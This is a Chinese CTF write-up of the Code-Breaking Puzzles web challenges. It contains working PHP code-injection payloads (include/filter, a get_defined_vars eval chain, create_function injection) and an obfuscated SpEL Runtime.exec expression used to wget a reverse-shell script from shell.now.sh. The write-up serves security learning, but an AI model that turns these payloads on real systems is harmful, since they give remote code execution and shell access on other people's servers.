Code-Breaking Puzzles 做题记录

18 篇文章 3 订阅
3 篇文章 0 订阅

代码审计圈子里看到Code-Breaking Puzzles,跟着学习着做下。
地址:https://code-breaking.com/
给P神的代码审计圈子打个广告,199元你买不了吃亏买不了上当:
在这里插入图片描述

easy - pcrewaf

这个题最开始做上来的,但是做出来了个非预期解。
最开始的题目:

<?php
function is_php($data){
    return preg_match('/<\?.*[\(\`].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}
var_dump($_FILES);
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} ?>

只要求不用括号和返单引号,想到了使用include,最后先上传了一个base64后的一句话,然后用include+filter进行包含:

<?
include 'php://filter/convert.base64-decode/resource=10.php';
?>

不太知道为什么直接菜刀连接不上去,最后直接用glob+file_get_contents拿到了flag

chopper=var_dump(glob('../../../*'));
chopper=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));

后来is_php进行了修改:

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

预期解法是利用PHP默认pcre最大回溯10w次(pcre.backtrack_limit=100000),令正则匹配上传内容时回溯超过10w从而匹配失败。

具体解析p神已经发了博客:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

easy - phplimit

题目:

<?php
var_dump(__FUNCTION__);
//echo get_defined_vars();
echo  preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
	echo"\nerror";
//    show_source(__FILE__);
}

正则允许无限的无参数函数嵌套,并且去掉嵌套的函数以后只剩一个分号。

记得好像有个能获取全局所有变量的函数,查手册查到get_defined_vars函数,结合数组操作函数current、array_values可以拿到GET中的第一个参数(所以a那个参数要在code前面,因为用了array_values所以叫什么无所谓)。

最后的请求:

http://51.158.75.42:8084/?a=var_dump(glob(%27./../*%27));&code=eval(current(array_values(current(array_values(get_defined_vars())))));

http://51.158.75.42:8084/?a=var_dump(glob('./../flag_phpbyp4ss'));&code=eval(current(array_values(current(array_values(get_defined_vars())))));

easy - function

题目:

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

需要action不能完全由数字字母下划线组成,想到了命名空间这回事,函数前面加个\就可以用了。

利用create_function函数进行代码执行,
参考:
http://blog.51cto.com/lovexm/1743442
懒一下,直接写结果:

http://51.158.75.42:8087/?action=\create_function&arg=2;}var_dump(glob(%27./../*%27));/*

http://51.158.75.42:8087/?action=\create_function&arg=2;}var_dump(file_get_contents(%27./../flag_h0w2execute_arb1trary_c0de%27));/*

medium - javacon

这个题我想用idea调试来的,参考网上远程调试的文章,并且也把jar文件导入到项目里,最后下了断点还是不停,就先静态看了。。

题目有点类似Shiro反序列化漏洞的利用,Shiro的rememberMe存的是加密后的序列化对象,这个存的是加密后的SPEL。

题目从Cookie中获取remember-me参数并解密:
在这里插入图片描述

在getAdvanceValue函数中进行过滤+执行:
在这里插入图片描述
过滤规则及加密key:
在这里插入图片描述
一般利用java.lang.Runtime.getRuntime().exec(cmd)来执行命令,利用反射来绕过黑名单,最后得到EL:

#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'xxxxx')}

加密代码:

String a="#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'sh /tmp/414.sh')}";
        String b=encrypt("c0dehack1nghere1", "0123456789abcdef", a);
        System.out.println(b);

用dnslog测了下可以外连,用之前代码审计圈子提过的shell.now.sh反弹了shell。

似乎是因为http://jackson.thuraisamy.me/runtime-exec-payloads.html编码后的结果包含{},导致EL没法正常执行,最后分成了两条命令:

wget https://shell.now.sh/47.123.123.123:12345 -O /tmp/414.sh
sh /tmp/414.sh

提交:
在这里插入图片描述
拿到了flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 以下是用C语言产生简单、普通、困难三种难度的数独问题各10题的代码示例: ```c #include <stdio.h> #include <stdlib.h> #include <time.h> #define N 9 int grid[N][N]; void print_grid() { for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) { printf("%d ", grid[i][j]); } printf("\n"); } printf("\n"); } void init_grid() { for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) { grid[i][j] = 0; } } } int check_row(int row, int num) { for (int i = 0; i < N; i++) { if (grid[row][i] == num) { return 0; } } return 1; } int check_col(int col, int num) { for (int i = 0; i < N; i++) { if (grid[i][col] == num) { return 0; } } return 1; } int check_box(int row, int col, int num) { int box_row = row - row % 3; int box_col = col - col % 3; for (int i = 0; i < 3; i++) { for (int j = 0; j < 3; j++) { if (grid[box_row + i][box_col + j] == num) { return 0; } } } return 1; } int check_num(int row, int col, int num) { return check_row(row, num) && check_col(col, num) && check_box(row, col, num); } int solve(int row, int col) { if (row == N) { return 1; } if (col == N) { return solve(row + 1, 0); } if (grid[row][col] != 0) { return solve(row, col + 1); } for (int num = 1; num <= 9; num++) { if (check_num(row, col, num)) { grid[row][col] = num; if (solve(row, col + 1)) { return 1; } grid[row][col] = 0; } } return 0; } void generate(int level) { srand(time(NULL)); int count = 0; while (count < 10) { init_grid(); solve(0, 0); int remove_count = 0; while (remove_count < level) { int row = rand() % 9; int col = rand() % 9; if (grid[row][col] != 0) { int num = grid[row][col]; grid[row][col] = 0; int temp_grid[N][N]; for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) { temp_grid[i][j] = grid[i][j]; } } if (solve(0, 0)) { remove_count++; } else { grid[row][col] = num; for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) { grid[i][j] = temp_grid[i][j]; } } } } } printf("Puzzle:\n"); print_grid(); printf("Solution:\n"); solve(0, 0); print_grid(); printf("------------------------------\n"); count++; } } int main() { printf("Generating easy puzzles...\n"); generate(30); // generate 10 easy puzzles printf("Generating medium puzzles...\n"); generate(40); // generate 10 medium puzzles printf("Generating hard puzzles...\n"); generate(50); // generate 10 hard puzzles return 0; } ``` 在上面的代码中,我们使用回溯算法生成数独问题并移除一定数量的数字,以产生简单、普通、困难三种难度的数独问题。其中,移除的数字数量越多,难度越大。在本示例中,我们移除了30个数字以产生简单难度的数独问题,移除了40个数字以产生普通难度的数独问题,移除了50个数字以产生困难难度的数独问题。 ### 回答2: 产生简单、普通和困难难度的数独问题可以通过不同的算法和策略进行。以下是一种可能的方法: 1. 简单难度数独问题: 对于简单难度的数独问题,可以使用简单的算法来生成。例如,可以选择随机生成一个已经填好一部分数字的数独棋盘,然后通过数独的解题算法来填充剩余的空白位置,确保棋盘只有一个解。然后将填充后的数独题目进行抽取,得到10道简单难度的数独问题。 2. 普通难度数独问题: 对于普通难度的数独问题,可以使用更复杂的算法生成。例如,可以使用“挖空”的方法,从一个已经填好的数独棋盘中随机选择一些数字进行清除,直到达到所需的难度。确保棋盘只有一个解。然后将挖空后的数独题目进行抽取,得到10道普通难度的数独问题。 3. 困难难度数独问题: 对于困难难度的数独问题,可以使用更加复杂的算法来生成。例如,可以使用一些高级的求解算法,填充一个完整的数独棋盘,然后进行“打乱”操作,例如重新排列行列、邻居数字的交换等,以增加难度。然后再进行挖空操作,确保棋盘只有一个解。最终得到10道困难难度的数独问题。 通过以上的方法,可以分别生成10道简单、普通和困难难度的数独问题。这些问题将有不同的难度级别,可以满足不同玩家的需求。 ### 回答3: 要用C语言生成三种难度的数独问题,首先需要定义一个数独的数据结构,并编写生成数独的算法。 1. 简单难度的数独问题: 对于简单难度的数独问题,可以先生成一个完整的数独,然后根据不同的难度要求进行细化处理。可以按照以下步骤生成10个简单难度的数独问题: - 生成一个完整的数独解答; - 随机选择一部分已填数字进行删除,以达到简化难度的目的; - 重复上述步骤10次,即可生成10个简单难度的数独问题。 2. 普通难度的数独问题: 普通难度的数独问题相对于简单难度来说,填入的数字更少,生成的难度更高。可以按照以下步骤生成10个普通难度的数独问题: - 生成一个完整的数独解答; - 对已填数字进行减少,保留更少的已填数字; - 重复上述步骤10次,即可生成10个普通难度的数独问题。 3. 困难难度的数独问题: 困难难度的数独问题相对于普通难度来说,生成的数独问题更加复杂。可以按照以下步骤生成10个困难难度的数独问题: - 生成一个完整的数独解答; - 对已填数字进行减少,保留更少的已填数字; - 在生成的数独问题中,引入更多的数独解答的答案,增加数独生成的复杂度; - 重复上述步骤10次,即可生成10个困难难度的数独问题。 以上就是用C语言生成简单、普通和困难三种难度的数独问题的步骤。使用随机选择和适当的问题简化策略,可以生成不同难度的数独问题。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值